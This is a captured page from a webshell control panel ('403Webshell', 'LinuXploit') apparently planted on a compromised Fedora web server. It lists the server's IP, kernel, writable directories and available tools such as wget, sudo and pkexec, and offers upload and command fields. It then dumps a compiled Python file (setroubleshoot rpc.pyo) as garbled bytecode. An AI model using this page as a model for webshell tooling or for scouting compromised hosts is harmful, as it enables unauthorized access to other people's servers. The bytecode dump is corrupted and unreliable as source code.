403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python2.6/site-packages/setroubleshoot/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyo
Jc@sddkZddkZddkZddkZddkZddkZddkZddk	Z	ddk
TddklZddk
TddkTddklZlZddkTddddd	d
ddd
dddddgZeZeidZeidZeidZeddZddZdZdZdZdZ dZ!dZ"dZ#d Z$dei%fd!YZ&ei'e&d"e(fd#YZ)e)d$e*e)d%e+e)d&e*gZ,d'e(fd(YZ-d)e(fd*YZ.e.Z/d+Z0d,Z1d-Z2d.Z3de(fd/YZ4d0e(fd1YZ5de5fd2YZ6d3d9d4YZ7de(fd5YZ8de5e8fd6YZ9d7e(fd8YZ:dS(:iN(t*(t
get_config(txml_child_elementstxml_get_child_elements_by_namet
rpc_methodtrpc_arg_typetrpc_callbackt
rpc_signaltinterface_registrytparse_socket_address_listtget_default_porttget_socket_list_from_configtget_local_server_socket_addresstConnectionStatet	RpcManaget
RpcChanneltListeningServert
SocketAddressscontent-length:(\d+)s

s([a-zA-Z0-9_-]+):(.*)
tgeneralt
i18n_encodingcCs1g}tid}totid|n|p|Stid|}x|D]}|pqUn|i|}|o^|idi}|id}ti	|}	|	djotid||qUqnti
}	|}t|	||}
|i|
qUWtotid||
n|S(Ns\s*{(unix|inet)}(.+)s%parse_socket_address_list: input='%s's[\s,]+iis(unknown socket family - %s in address %ss$parse_socket_address_list: %s --> %s(tretcompiletdebugtlog_communicationtsplittsearchtgrouptlowerRt
map_familytNonetwarningtSockettAF_INETtappend(taddr_stringtdefault_porttsocket_addressest	family_retaddrstcfg_addrtmatcht
family_tagtaddresstfamilytsocket_address((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyR	Bs4
	cCstddt}|S(Nt
connectionR#(Rtint(R#((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyR
_scCs#t|d}}t|}|S(Ntaddress_list(RR	(tcfg_sectionR"R$((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyRcscCs,td}t|djodS|dS(Ntclient_connect_toi(RtlenR(t	addr_list((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyRhscCsg}|ti@o|idn|ti@o|idn|ti@o|idn|ti@o|idn|ti@o|idn|ti@o|idnd|di|fS(	NtINtOUTtPRItERRtHUPtNVALs(%d)[%s]t,(	tgobjecttIO_INR!tIO_OUTtIO_PRItIO_ERRtIO_HUPtIO_NVALtjoin(tio_conditiontnames((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pytio_condition_to_stringmscKsOdt|}x.|iD] \}}|d||f7}qW|d7}|S(Nscontent-length: %d
s%s: %s
s
(R2titems(tbodytkwdsthdrtkeytvalue((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyt
rpc_headers

cCs t|d|d|}||S(Ntrpc_idttype(RL(RMRNRGRI((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pytrpc_messagesc
Cs^d}}}}z ti|}|i}|id}|id}ti||}t|d}tt	|}x|D]}|id}|id}	t
|id}
|i|
}|idj	o<|	djo|i|d|}q#|i|i
}n
|i
}|||
<qWWd|dj	o|inX|||fS(	Nt	interfacetmethodtargtnameRNtpositiontxmltobj_name(Rtlibxml2tparseDoctgetRootElementtpropRtget_rpc_defRtpreextend_listR2R.tpositional_argstobj_typetcontenttfreeDoc(
tcmdRPRQtargstdoctrpc_deft	arg_nodestarg_nodetarg_nametarg_typetarg_positiontrpc_argt	arg_value((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pytconvert_rpc_xml_to_argss0	

	
c

Gsd}}z|i}|i}tid}tid}|id||id||i|d}x|iD]}	|	i	}
||}tid}|i
||id|
|idt|t|ti
o!|id	d
|i
|nat|do-|id	d
|i
|i||
n$|id	d|it||d
7}qzW|idt||idtdd
}Wd|dj	o|inX|S(Ns1.0RaRPRQiRRRSRTRNRUt
get_xml_nodeststringit	arg_counttencodingtformat(RRPRQRWtnewDoctnewNodetsetProptsetRootElementR]RStaddChildtstrt
isinstancetxmlNodethasattrRmt
addContentt	serializeRR`(
RMRdRbttext_docRcRPRQtrootRTRjRgRkRf((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pytconvert_rpc_to_xmls@
		

	


cBs@eZdZdZdZdZdZdZdZeeBeBeBeBeBeBZ	eeBZ
eeBeBeBZhde6de6d	e6d
e6de6de6d
e6ZeeeeeeegZ
heieieieieiffd6ZdZdZdZdZdZdZdZdddddZRS( iiiiiiit
CONNECTINGtOPENt
AUTHENTICATEDR8tERRORtTIMEOUTtRETRYtchangedcCs9tii|d|_d|_d|_|idS(Ni(R;tGObjectt__init__tflagsRtresult_codet
result_msgtclear_result(tself((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyRs
			cCs#d|i|i|i|ifS(Ns'flags=%s, result_code=%d, result_msg=%s(tflags_to_stringRRR(R((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyt__str__scCs|id|idS(Ni(tupdatet	ALL_FLAGS(R((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pytclearscCsa|djo
d}ng}x4tiD])}||@o|iti|q'q'Wdi|S(NiR:(RR
tconnection_statesR!tmap_connection_enum_to_stringRB(RtvalRDtstate((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyRs


cCsd|_d|_dS(Nit(RR(R((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyR
s	cCs||_||_dS(N(RR(RRR((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyt
set_results	cCs|i|ifS(N(RR(R((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyt
get_resultsiRc	Csto<to5tid|ii||i||i|n|i}|i|O_|i|M_||_||_||iA}|i|@}||@}|o|i	d|i||ndS(Ns+%s.update: %s add_flags=%s, remove_flags=%sR(
RtFalseRt	__class__t__name__RRRRtemit(	Rt	add_flagstremove_flagsRRtprevious_flagst
differencetflags_addedt
flags_removed((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyRs#			


iiiii i@i(Rt
__module__RRRR8RRRRt
GOOD_FLAGSt
PROBLEM_FLAGSRRR;tSIGNAL_RUN_LASTt	TYPE_NONEtTYPE_INTt__gsignals__RRRRRRRR(((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyR
s:

+							tRpcArgcBs eZdddZdZRS(cCs||_||_dS(N(RSR^(RRSR^((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyR1s	cCsM|idjo
d}n
|i}|idjo|Sd||ifSdS(Ntname_undefineds%s:%s(RSRR^(RRS((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyR5s
	N(RRRRR(((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyR0sRQterr_codeterr_msgt
RpcDefinitioncBsPeZdZdZdZdZdZdZdZdZ	RS(cCsK||_||_||_d|_|djo
g|_n
||_dS(N(RNRPRQRtcallbackR](RRNRPRQtrpc_args((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyRDs				

cCsg}|idj	oYxV|iD]G}|idj	o!|id|i|ifq |i|iq Wnd|i|i|idi|f}|idjo|d|i	7}n|S(Ns%s:%ss[%s] %s:%s (%s)R:RQs callback=%s(
R]RR^R!RSRNRPRQRBR(RRbRjttext((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyRNs
!(cCs
||_dS(N(RN(RRN((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pytset_type[scCs=|idj	o ti|i}||i=n||_dS(N(RRRt
get_interfaceRP(RRtinterface_dict((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pytset_callback^scCs|idjotd|in|idjoId|i}td|i|d}ti|i||||_|Sti	|i|iS(NRQs"%s rpc types do not have callbackss%s_default_callbackt
method_return(
RNt
ValueErrorRRRQRRPRtregister_rpc_defR[(Rt
callback_nametcallback_def((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pytget_callback_defds
	cCsj|dj	oYtt||it|_d}x2|D]&}|i|}||_|d7}q8WndS(Nii(RR\R2R]RRS(Rt	arg_namesRTRgRj((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pytset_positional_argsos

	cGsj|dj	oYtt||it|_d}x2|D]&}|i|}||_|d7}q8WndS(Nii(RR\R2R]RR^(Rt	obj_typesRTR^Rj((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pytset_arg_obj_typesxs

	cCs%g}|iD]}||iq~S(N(R]RS(Rt_[1]Rj((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pytget_positional_arg_namess(
RRRRRRRRRR(((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyRCs	
	
							tInterfaceRegistrycBsPeZdZdZdZdZdZdZdZdZ	RS(cCs
h|_dS(N(t
interfaces(R((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyRscCs td|dt}h|d6S(Nterror_returnt
_error_return(Rterror_positional_args(RRPterror_return_def((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyt
new_interfacescCsC|ii|}|djo |i|}||i|<n|S(N(RtgetRR(Rtinterface_nameRP((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyRs

cCstddk}|i}|i|d}|ddjo|d=n|i||}|i||i||S(NiiR(tinspectRt
getargspecR[RR(RRNRPt
method_ptrRRQR]Rd((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pytset_rpc_defs	

cCs{|i|}t|tjo
|i}n|i|}|djo,td||d}|i|||n|S(N(RRNt
MethodTypeRRRRR(RRPRQRRd((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyR[s

cCs=|i|}t|tjo
|i}n|||<dS(N(RRNRR(RRPRQRdR((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyRs
cCs|i|}|dS(NR(R(RRPR((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pytget_error_rpc_defscCs|ii}|ixd|D]\}|i|}d|GH|i}|ix'|D]}||}dt|GHqYWq WdS(Ns
Interface: %ss    %s(RtkeystsortRw(Rtinterface_namesRRPtmethod_namestmethod_nameRQ((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pytdump_interfacess

	

(
RRRRRRR[RRR(((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyRs					
		csfd}|S(Ncsntid|}|ito*to#tid|i|infd}t|_	|S(NRQs7@rpc_method() interface=%s method=%s positional_args=%scsT|i}ti}t||}||i|<|i|d|||S(NRQ(t
new_rpc_idRR[tAsyncRpctasync_rpc_cachetemit_rpc(RRbRMRdt	async_rpc(RPRQ(s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pytrpc_funcs
(
RRRRtverbosetlog_rpcRPRtTruet_rpc_definition(RRdR(RP(RQs6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyt	decorators			((RPR((RPs6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyRscsfd}|S(NcsZ|i}ti|}|ito'to tid|i|in|S(Ns4@rpc_arg_types() interface=%s method=%s arg_types=%s(	RRR[RRRRRPRQ(RRQRd(RPt	arg_types(s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyRs	
	((RPRR((RPRs6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyRscsfd}|S(Ncsxtid|}to-to&tid|i|i|inti}|i	|it
|_|S(NRs9@rpc_callback() interface=%s method=%s positional_args=%s(RRRRRRPRQRR[RRR(Rtrpc_callback_defRd(RPRQ(s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyRs		((RPRQR((RPRQs6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyRs	csfd}|S(Ncsntid|}|ito*to#tid|i|infd}t|_	|S(Ntsignals)interface=%s method=%s positional_args=%scs8|i}ti}|i|d||dS(NR(RRR[R(RRbRMRd(RPRQ(s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyRs(
RRRRRRRPRRR(RRdR(RP(RQs6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyRs			((RPR((RPs6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyRscBsneZd	d	ed	dZdZdZdZdZdZ	e
dZdZdZ
RS(
cCssti||_||_||_||_ti|_d|_
||_|dj	o|i|i|ndS(N(
RRR+R*tportR#RtSOCK_STREAMRNRtsockett
friendly_nametparse(RR+R*R#R((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyRs					
cCstiddt|i}|idjodS|itijod|i|fS|iti	jod|i|i
|fSdSdS(Ns^.+ at (0x[0-9A-Fa-f]+)>$s\1Rs{unix}%s socket=%ss{inet}%s:%s socket=%stunknown(RtsubtreprRR+RRtAF_UNIXR*R R(Rtsocket_repr((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyR
scCsj|idjodS|itijod|iS|itijod|i|ifStdSdS(NRs%ss%s:%stUnknown(R+RRRR*R Rt_(R((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyt_get_default_friendly_namescCs"|idjo|iS|iS(N(RRR(R((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pytget_friendly_name"scCsddk}|i|S(Ni(tcopy(RR((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyR'scCsG|itijo|iS|itijo|i|ifSdSdS(N(R+RRR*R RR(R((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pytget_py_address+s
cCsKt|tjo4|i}htid6tid6i|}|S|S(Ntunixtinet(RNRwRRRR R(R+((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyR3s
#cCsT||_|tijo||_d|_n"|tijo|i|ndS(N(R+RRR*RRR tparse_inet_addr(RR+taddr((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyR;s		
cCstid|}|oh|id}|id}|djo
|i}n|djo
t}n||_||_nd|_d|_dS(Ns^\s*([^:\s]+)\s*(:\s*([^\s]+))?iithostname(RRRRR#tget_hostnameR*R(RRR(R((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyRCs



	
	N(RRRR
RRRRRRtstaticmethodRRR(((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyRs		
				tConnectionIOcBsVeZeieiBeiBeiBZdde	dZ
dZdZdZ
RS(cCs4t|_||_||_||_d|_dS(N(R
tconnection_stateR,tchannel_typetchannel_nameRtio_watch_id(RRRR,((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyRYs
			cCs/|iti|ii|i||_dS(s-callback signature: (io_object, io_condition)N(tio_watch_removeR;tio_add_watchR,Rtio_input_conditionsR(RR((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pytio_watch_addas
cCs1|idj	oti|id|_ndS(N(RRR;t
source_remove(R((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyRgscCs|titiBtiB@o|ti@o/t}t|}|itid||n|ti@o/t	}t|}|iti
d||n|ti@o/t}t|}|iti
d||ntSt
SdS(Ni(R;R@R?RAtERR_SOCKET_HUPtget_strerrortclose_connectionR
R8tERR_SOCKET_ERRORRtERR_IO_INVALIDRR(RRCterrnotstrerror((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pytvalid_io_conditionlsN(RRR;R<R@R?RARRRRRRR(((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyRVs
		cBs8eZeZdZdZdZdZdZRS(icCs,ti|ddddd|||_dS(NRt	listeningRtserver_listeningR,(RRtclient_connection_handler_class(RR,R((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyRscCsS||_|iitijo4tii|iioti|iiqSnt	ot
i	d|inti|ii|ii|i_t
i
|iiit
it
i|io#|iiititidn|iii|ii|iitijoti|iidn|iii|i|iiS(Nsnew_listening_socket: %sii(R,R+RRtostpathtexistsR*tremoveRRRRNtfcntltfilenotF_SETFDt
FD_CLOEXECtallow_reuse_addresst
setsockoptt
SOL_SOCKETtSO_REUSEADDRtbindRtchmodtlistentrequest_queue_size(RR,((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pytnew_listening_sockets	$%
#cCsny,|i|i|i_|i|iWn;tj
o/}|iiti	ti
dt|tSXt
S(Ni(R"R,RRthandle_client_connectt	ExceptionRRR
RRRwRR(Rte((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pytopens%c

Cstony|i|ptS|ti@oym|i\}}ti|ititi	|i
|i}|i|||i
idtiWq$tij
op}t|\}}tid|i||tijo
ti}	n
ti}	|i
i|	d||q$XnWnVtj
oJ}tid|iit||i
itiddt|nXtS(Nis5closing client connection due to socket error(%s): %ssexception %s: %si(RRRR;R<tacceptRRRRRR,R&RRR
RRterrortget_error_from_socket_exceptionRtErrnotEPIPER8RR$t	exceptionRRRwR(
RRRCt
client_sockettclient_addresstclient_handlerR%RR
R((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyR#s.
	&'(	RRRRR!RR"R&R#(((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyRs				tRequestReceivercBs5eZdZdZdZdZdZRS(cCs||_|idS(N(tdispatchFunctreset(RR1((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyRs	cCs1d|_d|_d|_d|_d|_dS(NiiR(t	headerLentbodyLenRtheaderRGtfeed_buf(R((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyR2s
				cCst|idjodSxto|idjo>ti|i}|o |i|_|iqqsPnt|i|i|ijov|i}|i|i}|i||!|_	|i||_d|_d|_t
on|i|i|i	qnPqWdS(Nii(
R2R6RR3t
header_end_reRtendtparse_headerR4RGRR1R5(RR(t	bodyBegintbodyEnd((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pytprocesss.
 			cCs|i|7_|idS(N(R6R<(Rtdata((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pytfeedscCsh|_d}xkti|i||id}|oA|id}|idi}||i|<|i}qPqt|id|_	dS(Niiiscontent-length(
R5theader_field_reRR6R3RtstripR8R.R4(RtbeginR(RJRK((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyR9s	
(RRRR2R<R>R9(((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyR0s
			!	cBsGeZdZdZdZdZdZdZdZRS(cCsh|_h|_d|_dS(Ni(Rtrpc_handlersRM(R((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyRs		cCs|id7_t|iS(Ni(RMRw(R((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyRscCsgtidt|i|i|ii}|ix(|D] }tid||i|q?WdS(Ns*async_rpc_cache: %d entries, cur rpc_id=%ss%s: %s(RRR2RRMRR(Rtrpc_idsRM((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pytdump_async_rpc_caches
cCs|iidS(N(RR(R((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pytflush_async_rpc_cachescCstid|||dS(Ns
[%s] %d %s(RR((RRQRR((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pytdefault_errback"scCs|djotidtdS|idjo%x|iD]}||iq<Wn`|idjoOt|idjo%x2|iD]}||iqWq|i	|indS(Ns8process_async_return(): rpc_id=%s not in async_rpc_cacheRRi(
RRR(RMtreturn_typet	callbackstreturn_argsR2terrbacksRF(RRR((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pytprocess_async_return%s


cCs||i|<dS(N(RB(RRPthandler((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pytconnect_rpc_interface3s(	RRRRRDRERFRKRM(((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyRs						cBseZeddeZeddeZdddZdZdZ	dZ
dZdZd	d	d	d
dZ
dZd
ZdZdZdZdZRS(Rtbuf_sizettimeoutcCsQti|d|d|ddti|ti|_t|i|_	dS(NRRR,(
RRRRt	threadingtLockt
write_lockR0tdefault_request_handlertreceiver(RRR((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyR<s
cCsd|i|i|ifS(Ns channel: name=%s addr=%s type=%s(RR,R(R((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyRBscCs|iidS(N(RRtacquire(R((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pytacquire_write_lockEscCs|iidS(N(RRtrelease(R((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pytrelease_write_lockHscCs
||_dS(N(R(RR((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pytset_channel_typeKscCs|iS(N(R(R((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pytget_channel_typeNsiRcCsto!tid|i|in|i|iidjodS|iidj	oay6|iiiti	|iii
d|i_Wqtij
o}d|i_qXn|ii
||tiB|||idS(Nsclose_connection: %s(RRR,RDRERRtshutdownRt	SHUT_RDWRtcloseR(RRR
RR(RRRRRR%((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyR	Qs 

cCs=|ii|d}|djodSt||d}|S(N(RBRRtgetattr(RRPRQthandler_objR((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pytget_method_implementationds

cGsot|it|jotidt||dSt|||}t|||}|i|dS(Ns3emit_rpc() arg length=%s does not match rpc_def(%s)(R2R]RR(RROt	send_data(RRMRNRdRbtrpc_xmltrpc_data((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyRkscCs|iiti@pdSton|iy~d}xq|t|jo]|iii	||}|djo)|i
titt
d|in||}q:WWntij
o:}tid|i|i|iitidStij
ox}t|\}}tid|i||i|tijo
ti}n
ti}|i
|d||dSX|iidti|idS(Nitdetailssocket timeout: (%s)s&could not send data on socket (%s): %s(RRR
RRRVR2R,RtsendR	R8tProgramErrorRRRORR(RXRRR)R*R+RR(RR=t	totalSenttsentR%RR
R((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyRass<




	c	Csutony|i|ptS|ti@oy>|i|i}t|djo|it	i
tSWn}tij
on}t
|\}}tid|i||tijo
t	i
}n
t	i}|i|d||tSX|iidt	i|ii|nWnTtj
oH}tid|iit||it	iddt|tSXtS(Nissocket error (%s): %ssexception %s: %si(RRRR;R<trecvtsocket_buf_sizeR2R	R
R8RR(R)RR,R*R+RRRRRTR>R$R,RRRwR(RRRCR=R%RR
R((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pythandle_client_ios4	
	cCs|ii|d}|djotid|dSto<to5tid|ii|||i	i
|i	i|nt|\}}}||_
||_|i|dS(Ns1handle_return(): rpc_id=%s not in async_rpc_caches/%s.handle_return: rpc_id=%s type=%s %s.%s, {%s}(RtpopRRR(RRRRRdRPRQRlRGRIRK(RRNRMRGRRPRQRb((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyt
handle_returns
	,		cCs|idd}|idd}to*to#tid|ii|||n|djp
|djo|i|||n
|djo$t|\}}}|i	||}|oy[||}	|	djo
g}	nt
i||}
|
i}|i
|d||	Wqtj
o:}t
i|}
|i
|d|
||i|iqXqti}d||iif}t
i|}
|i
|d|
|||n|d	jot|\}}}|i	||}|o9y||Wqutj
o}t
i|}
quXqti}d||iif}t
i|}
|i
|d|
|||ntd
|||fdS(NRMiRNs2%s.default_request_handler: rpc_id=%s type=%s {%s}RRRQs,method '%s' is not implemented in class '%s'Rsunknown type(%s) for %s:%s(RRRRRRRRmRlR`RR[RRRfRRR
R*tENOSYSR(RR5RGRMRNRPRQRbRRItrpc_method_defRR%t
rpc_error_defRR((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyRSsL	


+	 
	 N(RRRR.Rjtsocket_timeoutRRRRVRXRYRZR	R`RRaRkRmRS(((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyR8s								!	"	RcBs#eZdZdZdZRS(cCs:||_||_d|_d|_g|_g|_dS(N(RdRMRRIRGRHRJ(RRdRM((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyRs					cCs|ii|dS(N(RHR!(RR((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pytadd_callbackscCs|ii|dS(N(RJR!(Rterrback((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pytadd_errbacks(RRRRrRt(((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyRs		((;RWRRR*R;RRRRRPttypestsetroubleshoot.configRtsetroubleshoot.errcodetsetroubleshoot.logtsetroubleshoot.xml_serializeRRtsetroubleshoot.utilt__all__RRRtcontent_length_reR7R?RRR	R
RRRERLRORlRRR
t
type_registertobjectRRwR.RRRRRRRRRRRR0RRR(((s6/usr/lib/python2.6/site-packages/setroubleshoot/rpc.pyt<module>sv



								(	(Q
*C;				
	V-JA*

Youez - 2016 - github.com/yon3zu
LinuXploit